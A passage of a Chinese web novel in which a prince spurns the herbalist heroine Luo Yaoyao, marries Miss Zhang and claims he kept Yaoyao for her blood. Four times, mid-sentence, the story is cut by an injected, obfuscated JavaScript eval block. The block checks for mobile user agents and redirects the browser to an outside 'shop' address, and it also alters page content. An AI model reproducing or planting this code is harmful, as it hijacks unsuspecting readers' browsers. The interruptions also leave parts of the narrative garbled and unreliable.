他此时的声音却冰冷如霜,背过了身继续说:“前一个月你留在这里还有点用处,你可以照顾我,但现在你留在这里没有价值了,只能给我添麻烦。刚才皇兄说的话你也听到了,我即将迎娶张家小姐为妻,你留在这里,不是要妨碍我的婚事吗?” 她闻言一时气得说不出话来!他怎么可以对她说这样的话呢?这不是真的。 缓了缓,才开口道:“你在骗我君琰!你怎么能对我说出这么伤人的话?!皇上给你赐这桩婚事,你心里也是不情愿的对不对?!” “谁说我不情愿?”他的声音里听不出一丝情绪波动,反而愈发狠了:“张家小姐是名门闺秀,其父也是朝中重臣,我娶她,对我是有好处的,你呢?娶了你我又能得到什么?!” 夭夭愕然地看着他的背影。 “那你为什么要背过身来对我说?你为什么,为什么不看着我的眼睛说?你在害怕!这些不是你的真心话!” “是不是我的真心话,你如何能知道?”他转过身来,一双眼睛漆黑如墨,深不见底,再不复从前的款款柔情……“洛夭夭,你根本不了解我。 云青山上说的那些话,都是骗你的,其实我根本,我从来没想过真的要娶你。” “……我不信!”她大喊,“可以,要让我信你这些话,除非你亲自赶我走!” 她哭着跑开了。 他这时才看到地上的血滴…… 琉璃从后面走出来,在他身后说:“王爷,皇上刚来的时候,洛姑娘求皇上开恩,一直在这里磕头,都磕流血了……” 圣上赐婚他拒绝不了,他也没法拒绝,他要是拒绝了,或许还会牵连到我,所以他才对我说这些……对,是这样,一定是这样…… 她回到自己房间里,边哭边想。 北风悄然,彤云黯淡,炉火不温了,她孤零零地伏在桌案上,哭累了,周围一个人也没有,她抬起冰冷的手,用力扯下覆盖在窗外一片树叶上的冰片,握在已不知冷热的手心中,看着它化出一点一点的水…… 忽然有些想家了。 想爹娘做的饭,想山间的小动物们……被她喂得饱饱胖乎乎圆溜溜的小麻雀,喜欢在她家门口转悠讨食蹭蹭腿儿的小花猫,喜欢来地里偷菜吃的小野兔,还有那只眼神温柔湿润的小黄狗…… 可是她也想陪在他身边啊。 “振作起来啊夭夭。”她哭完了,对自己说。 “有问题就去解决,有难处就去克服,有误会就去说清,没什么大不了的。他若有苦衷不能告诉你,你就等到他愿意说的时候再去听,总之一定要相信他就是了。” 她拿了手绢擦眼泪,又去给自己打了点水洗眼睛。看到镜子里的姑娘一双大眼睛肿得跟桃儿似的,她不由“噗嗤”一下笑了出来,镜中人儿一时间又哭又笑,又是擦眼泪的,不亦乐乎。 “我后悔吗?”她又问镜子里的人。 歪了歪头,自答道:“不,我洛夭夭做的事,绝不后悔。” “他刚才说的话,或许是有些伤人,可他若真这么想,当初又为什么会把我从山里带走?难道他那时就能预料到会有被禁足的这一个月吗?我是平民,可只要我与他两情相悦,又管什么身份地位呢?是……君琰不会嫌弃我,我也要相信他。” 她对镜子里的自己露出一个笑容来。 “不管怎么说,现在他的禁足解了,这就是最大的好消息!” 君琰一直坐在榻上发呆。 琉璃不知道去哪里了,夭夭也走了,院子里空荡荡的。他知道,自己的禁足才刚解,其境况仍比不得往日。 “王爷,姚堂主的信。”琉璃熟练地递进来一封信。 君琰抬手接过,打开了,映入眼帘的是那熟悉的歪歪扭扭的字迹—— “老九,你浙江亲戚的家被你哥端了,不过我们和他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561336|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打过了招呼,不会牵连到你。你执意要跟我们断联一个月,眼下终于重新赢得你哥的信任,实在是不容易,你浙江的亲戚也很替你担心。江西这边的事还要不要替你哥做了?还有你未过门的妻子有准信吗?到时请我们进京吃酒,也好有个说法。你的老父亲姚寂” 君琰和他手下这四个堂主之间,虽说是上下属关系,但也相处得如亲人一般,姚寂未在信中直陈具体之事,而是暗示他外头的情况,君琰心领神会,阅后便烧。 琉璃的声音这时传来:“王爷,要如何跟堂主回信?” “江西的事不能停,该杀的人,我不想杀也必须杀。未来的王妃只能是张家小姐。皇兄赐婚,我焉能推辞。再者,我亦有非娶她不可的理由。” “那洛姑娘呢?”琉璃忍不住替她问了一句。 君琰的神色冷得像冰,“她若执意不走,就让她留下来当笑话吧。” 说着忽咳嗽起来,抬手捂住了唇,掌心淌了几滴血,他沉默地握紧了五指,脸上忽变得什么情绪都没有了。 婚事开始筹备了。 景王与张家联姻的消息,很快就雪片般飞遍了京城的大街小巷…… “我听说,九爷这次回来带了一个山里出来的女子,一直养在府里!” “还有这等事?”周围人八卦的心上来了,纷纷围着听热闹。 “可不是嘛,听说那张家小姐是出了名的娇生惯养,在家少有不顺就砸东西骂下人的,怎么可能容忍得了九爷身边还有别人?” “那九爷最喜欢的是他带回的那个女子喽?也不知是什么来头。” “害,听说就是一平民,长得也不算一等一地美,也不知九爷是哪根筋不对了把她带回来,我看多半就是一时兴起,玩玩而已!要她做个妾啊,都是抬举了!” “对,说得对……”“说得对啊。” “九爷被禁足的时候听说还是她在贴身照顾,不是我说,她一个平民就算想攀高枝,挑个五六品官家也就到顶了,九爷那是什么人呐?京城第一美人他看都不看一眼的,怎么能看上她一个乡野丫头呢?!” “诶你说,九爷会纳她做妾吗?” “要是真纳她做妾,那可算是她走大运了!” “我听说那女子名叫洛夭夭……” “洛夭夭?” 从不远处投来两道尖锐的目光。张美珠站在那里,帷帽的纱遮住了她的面庞,刚才这几个人说的话已全被她听见。 鲜红的指甲嵌进了肉里。 另一边街上,夭夭正买菜。 王府终于解禁了,她终于可以出来透透气,也可以买些新鲜蔬菜回去给他做饭。 她想着心情又好了起来。君琰身子还虚着,该多给他补补才是。 “老板,青菜怎么卖?” 卖菜的老板戴着一张草帽,遮住了眼睛,留着青色的胡茬,他听见她的声音,没有答话,只是伸手慢慢抬起了草帽…… 夭夭忽觉不对。 “我不买了!”她转身欲走。 周围十几个卖菜的商贩忽都同时站了起来,将她一个人团团围住,他们褪去伪装之后,哪里还是什么卖菜的小商贩?!每个人手里,都拿着把数米长的大铁刀! 9. 受伤 手里的装菜的竹篮一下子掉在了地上。 十几名杀手无声地向她逼近…… 她忽然瞅准了一个卖面粉的摊子。 眼疾手快间,她一弯腰拿起那个竹编的大篮子,将面粉飞速往这些人眼睛处撒去,“杀人啦!!” 撒面粉转了一整圈,姑娘的声音尖利刺耳,杀手们没想到她会突然泼面粉,纷纷被呛得咳嗽,眼前也是陷入一片迷糊,洛夭夭瞅准时机夺了其中一个人的刀,左右挥着乱劈几下,从他们中开出一条道来,夺命而逃! 身后追杀声不断,她拼命地跑过这条小巷,往大路上跑去,一面跑一面喊:“救命,救命!啊——” 终于跑到了大道上,她成功混进了人堆里,那十几名杀手没再追了,她却脚下一绊,向前摔了个狗啃泥! 好,这是我来京城后摔的第二个狗啃泥。她自嘲地笑笑,忍着疼慢慢从地上爬起来。周围似乎有路过的目光向她投来,但没有人过来帮她。 手肘处忽然一阵剧痛,她呆在那里动弹不了,脸色差得吓人。 糟糕,应该是关节错位了……她咬着牙不让眼泪掉下来,抱着那条受伤的手臂,拖着受伤的腿,往王府走去,活像只一瘸一拐的小兔子。 一面走,脑中一面想,今天的杀手是谁派来的?他们为什么要杀我呢?我在这里,也没有仇家啊…… 君琰,君琰……她现在只想去找他。 回到熟悉的王府,熟悉的书房,她看到了君琰,想到之前发生的口角有没有马上走进去,而是抱着手臂悄悄站在门口,只往里探着头,露出半个小脑袋。 他正坐在案前读书,英俊的脸上仍有些许病容,但比前些天气色要好多了。夭夭看见他拿着书册的修长白皙的手指,就是那双骨节分明的大手,会温柔地捧着她的脸颊…… 太阳洒在他的侧影上,看上去温暖而宁静。她等着他注意到自己,可是等了半天,君琰仍旧读着书,片刻也没有抬眼。 她深吸了一口气,只好自己跳进去——一瘸一拐地小跳进去。 这回他终于注意到了她,淡然地抬了抬眸。 “君……” “你怎么来了?”他手上仍然没停下翻书的动作。 这话问得好生见外,夭夭心想。她默了默,轻轻对他说:“我刚才出去,遇到人追杀,我跑掉了,可是手肘扭伤了……” 她看着他,但他始终淡漠的神情让她心中愈发忐忑了。她的话说完了,空气里安静得针落可闻,她有些尴尬,喃喃补充道:“好疼……” 要是换作从前,他早就上来关心她了,还会责备自己为什么没有保护好她。可是今天君琰一动也没动。 方才憋了一路的眼泪,忽然间哗哗地涌了出来,她也不知道自己哪来的这么多眼泪,许是太疼了,或许是她的眼泪不轻易在人前流,只会在他面前流,又或许是她觉得只有他才会心疼自己…… 君琰看着她哭,无动于衷。 良久,抬了抬手:“扭伤了就去找大夫上药,本王又不会看病。” “啊——?”她怔了一下,有些不敢相信…… 转念一想,他是还在为上次闹得别扭生气吗? 以前他也从不在她面前自称“本王”呀。 她抬手慌乱地擦了擦眼泪,想道上回的事儿,他们确实还没和好。上次皇上当面赐婚,他没办法拒绝,心里正烦着,自己却偏在那时不依不饶,肯定是惹他生气了,他到现在还在怄气……对,都是她不好。只要现在把误会说开就好了,让他知道她是真的受伤了,是真的…… “君琰,你还在生气吗?” “我为什么要生气?”他却将她堵了回去。 “我……”她一时说不出话来,许久后憋住了哭腔,终于继续道:“我刚才被人追杀了,我不知道他们是谁,为什么要杀我,我很害怕,以为自己差点就死了……逃跑的时候摔了一跤,手肘就扭伤了。” “哦。”君琰看了她一眼。“找琉璃帮你吧。” “……君琰?” “还有,你自己就是大夫,难道不会正骨?” “我……”她哑声了。她本想借着这些,再对他表表心意,表示自己相信他,相信他能将与张家的婚事处理好,即便办不到,她也能等,她不会轻易放弃他……可是他如此说,她便什么也说不下去了。 她从他的眼睛里看到了冷漠。 还有,一丝不耐烦。 从前他从没有用这样的眼光看着她过。 短短数日,就变成这样了吗? 她还是觉得不敢相信。 或许是因为他病还没全好吧?对,他还没完全康复,是她来无理取闹了,她等他完全好了再来……她想着叹了口气,正准备转身离开。 君琰放下了书,朝她走来。 夭夭的眼中重新燃起了一丝光亮…… “洛夭夭。”他头一回叫她的大名。 姑娘一双水光潋滟的眼睛盯住他。 “你对本王的称呼该改一改了。” “……什么?” 他走到她面前,重重抬了抬她的下巴,目光如刀,“本王是大楚的景王,江湖人称九爷。除了皇兄,普天之下谁敢直呼我名,是要被杀的。” 洛夭夭身子一瑟!这还是她头一回近距离感受到他那森冷迫人、叫人不可直视的气场。 他是江湖魔头,每每要杀人的时候,动手前便是这般气场吗? 她的腿开始不受控制地抖了起来……可是他以前,这般冰冷迫人的样子都是对着旁人,对她从来都是温柔缱绻,几个月来她早已习惯了这份偏爱,眼下陡然转变,让她觉得自己什么也不是了,以前的那一切也都像一场梦似的,来无影去无痕。他,他怎么能这么对她?! 她硬生生把眼泪憋了回去。 他似乎也并不想看到她的眼泪,重重把她的下巴放下,与她擦肩而过,背对着道:“从今往后,你若再敢直呼本王名讳,便也和旁人一个下场。” 她的唇哆嗦了一下,声音里复染上了哭腔,“王……王爷?” 这个称呼于她而言,是那样疏离、拗口而陌生。 他没有答话,大步离开了屋子。 大颗的泪珠一颗一颗掉在地上,偌大的书房里,四面的窗都敞开着,朔风呼啸直入,吹着她单薄的身子,她失神、无措又委屈…… 为什么,为什么事情会突然变成这样?就算先前有什么误会,现在她也足够坦诚了不是吗…… “姑娘!”琉璃这时候进来了,看到她在哭,“姑娘,你怎么了?” “没什么……”她的声音小得连自己都听不清,“受了点伤。” “姑娘,你是手关节错位了!又摔跤了吧?琉璃来帮你!” 小侍女拿了药膏过来,扶她去榻上坐下,就要来帮她正骨。 夭夭伸手拦住了她,“不用。” “怎么了?” 她露出一个勉强的笑容,“你忘了吗?我本就是大夫啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“王府的名单分为两种,黑色的是要用的人,红色的是已杀的人,两份名单都放在书房里。红色的……是谁接令动的手,就由谁用血刺字写下已死之人的姓名。” 夭夭蓦然睁大了眼睛……“你是说,这上面的人都已经死了?!” “这是王府的秘密。姑娘今天知道了,千万不可说出去,也不要去质问王爷……奴婢一会儿把它们放回原处,姑娘当是从没看到就好了。” 那,司舟呢?! 司舟……也被君琰杀了?? 他只是去江西从商,他犯了什么罪要被杀?! “为什么要杀掉这些人?!” “九爷杀人不需要理由。”琉璃平静地说道,“于他有碍的,都得杀。他不杀别人,别人就要杀他。他并非天性弑杀,而是把杀人作为一种高效的办事方法。” 夭夭怔住了。 “姑娘,你从认识王爷的那刻起就已经知道他魔头的名号了,不是吗?” ……是,她是知道,可那时候,还没有如今这样的体会,也没有在他的杀人名单上看到自己熟悉的人名! “这一份名单是江西的,姑娘。”琉璃补充道。 “江西?!” 原本她还刚想安慰自己说,那个“司舟”有可能是同名同姓之人…… 司舟哥哥。 忽然她眼前一片漆黑……晕了过去! 10. 另娶 洛夭夭病了。 上个月衣不解带地照顾君琰,每天又吃得少,接连受伤,小身板早就支持不住…… 琉璃在她跟前照顾。 她这头病着,君琰那头却在紧锣密鼓地准备与张家小姐的婚事,三书六礼,一样不少,迎新妇进门——忙得一次也没来看她。 张美珠一大早开始就在精心打扮了。 今天她就要嫁给最喜欢的人。 直到身后的侍女弯腰悄声对她耳语了几句,她的脸色才陡然沉下来。一掌,将一根朱钗拍在梳妆台上。“没用的废物!一个手无缚鸡之力的野丫头都解决不了,我养他们何用?!” “姑娘息怒,那洛夭夭不过是一时钻了空子才侥幸跑掉,这次不中,不是还有下次么?” 张美珠冷笑了一声,问:“她现在还在王府?” 侍女惊鹊咽了口口水,“是的,姑娘。” “啪!”她一掌拍在梳妆台上,“琰哥哥这是什么意思,难不成还真打算以后纳她为妾吗?我这还没入门,他就打算要养个小的了,把我张美珠当什么人?又把我张家当什么了?” “姑娘息怒,想来是那狐媚子想攀高枝,抢先一步勾引了王爷。王爷日后也不可能只有姑娘一个人,大凡男人都是有三妻四妾的,姑娘该忍的时候还是得忍一些……” “你这叫什么话!便是要纳妾,那也该找个有头有脸的进来,要一个山里的野丫头算什么?我是何等尊贵的身份,怎能跟一平民同住一个屋檐下姐妹相称,他这不是没有把我放在眼里吗?” 惊鹊笑道:“姑娘这是说的哪里话?满京城谁不知道,您才是和王爷青梅竹马的,那个山里王爷捡来的野丫头,不过就是个笑话罢了,王爷觉得她新鲜而已,玩两天就丢了而已。” 张美珠依然皱着眉,心下有些烦乱。“但愿如你所言吧!” 大婚当日,京城所有有头脸的人物都来吃酒了。喜讯飞遍了大街小巷,满街的欢庆之声,人们茶余饭后,也依然会说起先前被景王带回来的那个女子。 “听说之前景王被禁足生病的时候,是她给他求药、衣不解带地照顾,现在成这样了,这姑娘以后还要怎么嫁人?” “为何要嫁给别人,她做这些不就是千方百计想嫁进王府吗?景王要收她做个妾也不是不行,只是要看那张家姑娘的态度了。” “难呐!张家姑娘可是出了名的……” “嘘,别说了。她家姑娘总派人到外头来转悠,你说她坏话,要是被盯上可就惨了。” “还有这等事?这也太没有王法了,张大人不管管他女儿吗……” “我觉得你刚才说的不一定,九爷是什么人,难道还能被一个女的摆布?就算是张家……” “快看,喜轿过来了!” 华灯初上,数百人簇拥着一顶华丽的喜轿款款走来,满街看热闹的百姓都退到了两边…… 走在前面、骑在高头大马上的新郎是君琰。他穿着一身华丽厚重的喜服,胸前还戴着红色礼花,脸上却没有任何表情,身后的喜轿里,张美珠不由得想掀开帘子看一看他,手却停在了半空…… “看呐,那就是新郎官儿!” “好俊啊!!” “要不是他娶妻,我等还没机会一睹九爷的风采呢!” 年轻姑娘们都看呆了,一下子都嘀嘀咕咕起来。 “九爷竟然这么帅!不是说他是个大魔头吗?” “魔头就不能帅了?只要他对我好,我管他是什么……” “真是羡慕张家姑娘啊……” “也怪你我命不好,没投胎在张家,不然说不定也能嫁给九爷呢。” “那九爷之前带回的那个洛夭夭不也是平民,她怎么就那么命好?九爷是准备纳她做妾吧?” “也未见得好,我听说啊,她已经失宠了……”姑娘们低头议论起来。“指不定马上就被赶出王府了呢!” “哎,真可怜……” 夭夭这一天从早上起就听到了喜乐声…… 脑中一片迷茫,不知是不是那张家姑娘要嫁进来了。她揉了揉脑袋,慢慢地从榻上坐起来。 铜镜中的人儿消瘦而憔悴。天气一点一点地和暖起来了,冬天就要过去了,可她的心却一点一点地被冻住了…… “琉璃,王爷呢?”她的声音还微有些沙哑,欠着身,轻轻唤侍女。 “姑娘,你醒了!”琉璃笑着,端上来刚准备好的膳食,“姑娘一定饿了,吃点东西吧?现在感觉怎么样?” 她看着那饭食却没有一点胃口,脸色苍白,唇上没有一点血色,一双眼睛黑漆漆的,怔怔地又问了侍女一遍:“王爷呢?” “王爷……”琉璃将饭食放下了,来到她身边,牵住她的手。“姑娘别难过,王爷今天要迎娶新妇进门。” “啊……是吗?” 她听着这个并不意外的答案,眼中愣愣的,许久,一滴泪水还是淌了下来。“他要娶别人,那我算什么,我算什么……?我……” 她慌乱地掀开被子就要下榻,“他说得对。琉璃,我应该现在就走……” “姑娘。”琉璃上前拦住了她,“王爷说你可以把身子养好了再走。云青山离这里很远,姑娘若是身子还没康复就着急上路,可能途中会病情反复。” 她的眼中空落落的,“都这时候了,他还会关心我吗?” 琉璃心里琢磨着怎么说才能让她留下来,毕竟一个病人急匆匆跑走是会出事儿的。“姑娘甘心就这样走了?之前王府被封禁的一个月,王爷的饮食起居可都是姑娘照顾的,王爷就算要娶别人,对姑娘也还是有情分和恩义在的。” “那,你觉得我应该怎么办?”她看向琉璃。 “姑娘先留在这儿,先把病养好了再说,毕竟身子是自己的啊。” “我是大夫,我的身子我自己知道。王爷若是真的变了心,我留在这里也没有什么意义……”她站到窗前,看着外面一点一点融化的冰雪。 “王爷也是圣命难违。”琉璃在她身后说。 “我知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561338|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但他可以和我说他的苦衷啊……为什么,为什么他什么都不愿意和我说?又为什么要那么对我?”她心里忽然冒出了一个想法,转头对侍女道:“琉璃,你帮我一个忙。” 夜晚,喜房里静悄悄的。 “吱呀——”一声,房门打开了。 君琰有些踉跄地走了进来。 红盖头下的张美珠面颊潮红,垂着目光看着那两只红靴越来越近,心都快要跳了出来。她的两只手绞着喜帕,一动也不敢动…… 君琰慢慢地走近了。 夭夭藏在床下,脸贴着地板,偷看着他…… 他喝得微醉,穿着新郎官的衣服,烛光映照得脸庞轮廓分明,是那样丰神俊朗,走至新娘子面前停下,拿着玉如意——挑起了她的红盖头。 新娘子一副娇羞的神情,脉脉含情地看着他。 “琰哥哥,人家等你好久了。” “辛苦你了。”英俊的新郎官笑着捧起她的脸颊。 洛夭夭倒吸了一口凉气,泪珠不受控制地从眼眶里流出。 他怎么可以也这样捧着别人的脸?从前,他也是这样温柔地捧着她的脸…… 那曾经独属于她的一份温柔,竟也可以被转移到别人身上么?原来他不是和她怄气,而是真的不要她了吗?可是,为什么呢,她是哪里做得不好吗? 即便会偶尔和他使小性子,她内心里是从来都爱着他的呀…… 君琰伸手拿起了桌上的包子,亲手递到了新娘子嘴前,“忙了一天累了吧?来,娘子,吃一口。” 那一声“娘子”……洛夭夭的心在滴血…… 张美珠羞得满面绯红,就着他的手咬了一口,有意咬到了他的手指。 “你我自小一起长大,这情分自是旁人比不得的,其实本王也早就对你有意,只是不好意思说。如今正好皇兄赐婚,我们也算是天作之合。” “琰哥哥。”张美珠嗲着嗓子道:“你知道的,阿珠最喜欢你了。” 他坐下来揽过她的肩,继续十分流畅地说:“你于我而言,是青梅,也是唯一。本王看着你就像看着天边那轮明月,从前觉得你可望而不可即,如今总算是把你这轮月亮摘下来了,本王心中好生欢喜,真是此生无憾了。阿珠,你是我见过的最美的女子。从今往后,你就是我的天地人间。” “好啦好啦,”张美珠被心上人如此一通夸赞,一时乐得合不拢嘴,满脸羞红,“琰哥哥从哪里学来这么多油嘴滑舌的话,真坏!” 君琰笑着拿了合卺酒,将其中一个瓢递给她,“来喝交杯酒吧。” “嗯,好。”张美珠笑着接过。 “哐当!”忽然从床底下传来一个声响。 新郎新娘不觉都站了起来。 “怎么回事?”张美珠往床下一看,登时讶然道:“琰哥哥,竟然有个人躲在床底下!” 洛夭夭心里“噗通”一声…… 那双男子的红色长靴出现在了她眼前。 “出来。”君琰冷淡的声音从上头传来。 11. 对峙 她狼狈地从床下爬了出来,慢慢站起了。 张美珠一见这女子,一双大眼水灵含情,身量清瘦,又在此地,想来对方应该就是洛夭夭了,登时心头火气直冒,然一想到君琰也在场,只能暂熄了怒火,只等着看他教训她。 洛夭夭直视着君琰。 “为何这样看着本王?”君琰和她四目相对,“今天是本王和王妃大喜之日,你却偷偷摸摸躲在床底下偷窥,你还有理了?!” 夭夭脑中一阵晕眩…… 陌生的喜房,陌生的女人,陌生的君琰。 她的病还没完全好,此时看着他,气得浑身发抖,却又一个字也说不出来,缓了半天,才挤出一句话来:“为什么?” 为什么要这么对她? “因为你傻。”那双幽深的眸里带着血丝,看向她时,再不复从前的温柔,“本王说什么你都信,你怎么那么天真?” 张美珠看向君琰:“好在她及时漏了陷,不然难道还要让她看着我们洞房?琰哥哥,她是你什么人啊?” “不过是府里一个下人。”君琰答得云淡风轻。 ……下人?! 夭夭的嘴唇直打哆嗦。她曾救他两次,曾为他舍身挡箭,曾为帮他被人欺辱、低声下气,也曾为给他求一个恩典磕得头破血流,他曾许诺要给她一辈子幸福,到头来却不过是一句,她只是府里的一个下人?不过是一句,她太天真?她的爱意原来竟是这样可悲吗? 张美珠趁势道:“既然是下人,想来王府也有王府的规矩,做出这种事来,琰哥哥说,应该怎么责罚?” “先记着吧。待她病好了,再行责罚。” “哦?生病了还可以拖延惩罚?琰哥哥待下人蛮好的嘛。”张美珠显然对这个回答十分不满。 “阿珠,本王欠了她一点人情,等将这点人情还清了,便任由你处置。当然,还有一件事。”他当着夭夭的面拉起张美珠的手,“你身子一直不大好,不是说古书偏方上有一种药引子能治你的病吗?” 张美珠眼睛一亮,“这都多久前说的事儿了,琰哥哥,难为你还记得这个……” “你可知道本王为什么要把她带回来?”他踱着步子走到洛夭夭身后,声音足够清晰,在她耳后响起:“那个古方上所载的药引本王详细看过,她的血,正好符合。” “哦?”张美珠一喜。“琰哥哥,这是真的吗?你养着她是为了给我做药引?” “不错。” “……君琰!”洛夭夭大叫一声,水光潋滟的眼眸里,从失望渐至绝望。“你怎么能,你怎么能这么对我?!” “为何不能?”他转过来看着她。 两人的目光在半空顶住了,一个满含质问和痛心,一个全是冷漠与不屑。 “不过就是个乡野丫头而已,拿你的命去换阿珠的命,这是你的荣幸。” “你!你凭什么……不,每个人的生命都是平等的!我行医救人的时候,也不会因为病人的身份地位之别而区别对待!出身不是自己可以选择的,即便有些贵人因我的出身而轻视我,我也从未这般轻视过自己!君琰,你又凭什么这样看轻我?莫非我的命是你给的吗?!” “不是,但本王可以主宰你的命。”他不屑地看着她,“你的想法实在太过天真,在这个世道上,出身就是分高低贵贱的。出身低贱者,就只有任人宰割的份。” “你骗我。”她整个身子都在颤抖,“你利用我!你心里早就有人了……” “那又如何?当初,你还不是心甘情愿跟我走的。”他继续说:“也许你早就知道了我的身份,故意装作不知,接近我,妄想伺机嫁进王府,接着改变你一辈子的命运,过上荣华富贵的生活。” 张美珠笑吟吟地看着他两说话。 “你……我呸!”夭夭看着他,“你觉得我跟你走是因为你王爷的身份?!” “难道不是吗?” 夭夭彻底红了眼睛,毫无杀伤力地冲他吼起来:“你,你以为我稀罕你啊?!王爷又怎么了?不过就是出身比我好一些!你这个空有强大的外表、武艺和身份,而没有思想的懦夫!” “啪!”一个掌印蓦地打在了她脸上。 ——是张美珠。 “一个小小下人竟敢这样和主子说话,得亏王爷心善,这样了都还不同你计较,你这忘恩负义、不知好歹的小贱奴!” 她被扇得坐到了地上,半晌,后知后觉地反应过来,用冰凉的手捂住被打的那半边脸。 君琰站在原地无动于衷。 “……好,我今天算是明白了。”夭夭慢慢站起来,“你不是早就说要我走吗?我走,我现在就走,我不会再碍你的眼了!” 转身正要离开,君琰霸道地抓住了她的手臂。 “干什么,你放开我!”然而她越挣扎,他就抓得越紧。 “现在想走?晚了!本王还要留着你,留下你的血给王妃做药引子,来人!” 几名侍卫走了进来。 “把洛姑娘带回屋里严加看管,不准她踏出房门一步!她若是走丢了或是寻了短见,你们所有人都一起陪葬!” “……君琰,你混蛋!”她被侍卫们押了出去,他看着她,听着姑娘的哭骂声越来越远…… “夫君。”张美珠柔情蜜意地贴了上来,“这碍眼的家伙终于走了。” 他轻轻握上她的手,“要不是为了你的药引子,本王半句话都不想同她多说。你且再耐心等等,她现在害了风寒,取血来用效果不太好,等她病好了,本王便去取她的血来为你做药引。” 张美珠含羞地扑进了他怀里,“夫君对阿珠最好了。” “不管她了,来,我们把合卺酒喝了。” “嗯。”两人对面坐下。 君琰看着张美珠将酒一饮而尽,自己才慢慢地喝掉……“喝了这合卺酒,往后你就是本王的王妃了。” 他依然笑着,眼睛里却渐渐地消散了最后一点笑意。 “夫、夫君……”张美珠应声醉倒。 琉璃想着法儿地逗她开心。 “姑娘,奴婢剪了个小窗花,你看看喜不喜欢?” “姑娘,外面有只大脑袋短尾巴的蓝色小鸟呢,你听,它的叫声真好听。“ “姑娘不能下厨了,奴婢给你做小兔子馒头好不好?” “姑娘,姑娘……” 夭夭耳边的声音渐渐地淡了。 天上的月亮好像也渐渐地小了……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561339|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>星星出来了。一颗,两颗,三颗…… 她眼前眩晕,探着脑袋,穿着单衣坐在风口上数星星,就像小时候躺在山坡上数星星一样。 城里的星星好稀疏啊,比不得山上的星星低垂璀璨,一颗一颗,都像罩着迷离的烟雾,叫人看不分明。 她忽然在这时想起了那日仗义帮忙的公主。 是啊……公主尚且说,君琰此人十年都看不透,为什么她才两个月就认定他了呢?君琰,他到底是一个什么样的人呢?若真如他所言,他从见自己的第一面起,就计划着要用她的血去救张家姑娘,那么他受伤需要医治就必然也是计谋了。一个人竟然可以以这种伤害自己的方式来达成目的,这要放在以前她是万万无法相信的。 不惜伤害自己…… 他爱那张家姑娘,就爱到这个地步么? 现在话都说开了,他也不肯放她走,因为还要留着她的血去给张家姑娘做药引子,那之前他多次劝她走又是为什么?他应该只是嘴上那么说说而已,实际上是绝不会放她走的吧? 她在这时发现自己竟开始开始怀念那段被禁足的岁月来……那时虽被禁足,但她却可以和他共苦,可以陪在他身边,享受他独一无二的温柔。待他的情势好起来了,危机解除了,她便成了一个可有可无的人,一个被利用的、无足轻重的平民。 她原本有两次机会可以走,一次是公主,一次是司云。公主是不是早就知道些什么,那天才那么说的? “君琰,为什么呢?”她的心好疼,止不住地疼。 可是她现在走不了。 屋子外面站满了守卫,他要将她禁足在这里,就如当日他被禁足一样。 大地渐渐地回春了,她的世界却进入了严冬。 身上的伤加上心里的伤,她一下子病得更重了。 琉璃用湿毛巾给她敷额,大夫也随之赶来为她医治。可她知道,现在君琰之所以给她请大夫,不过都是因为她活着有用,他要用她的血。 世上为何会有薄情至此的人? ……如果她看到的不是真相,而是伪装,那真相又是什么? 老天爷,为什么要让她遇见他啊? 她看着天上的月亮,渐渐昏睡过去…… 君琰也在此时看着月亮,在另一间屋子里。 张美珠醉得死气沉沉,连同她的丫鬟惊鹊也一并陷入了昏睡,他脱了厚重的喜服外袍,手里拿着一杯酒,独自倚在窗前看月。 “王爷。”暗卫一阵风到了他眼前,手里捧着一张机甲图奉上。 “嗯。”君琰淡淡地瞟了一眼,抬手,却是用内力把那张图纸震成了碎片。 “王爷!”暗卫一惊,“这可是很重要的图纸……” “本王知道。” “那您……” 他的声音冷彻得吓人:“设计图怎么画的本王已经记住了。皇兄想要,叫他亲自来找本王。” “遵命……” 他又看向夭夭住的方向…… 自己曾命人在那间屋子周围种满了杏树,因为杏花是她最喜欢的。到了春天,这些树就该开花了。 “把所有的杏树全部砍了吧。”他丢下一句,身影眨眼间消融在了月色里。 12. 王妃 过了几日,夭夭病才刚好一些,王妃那边来人传话了,说要她过去。 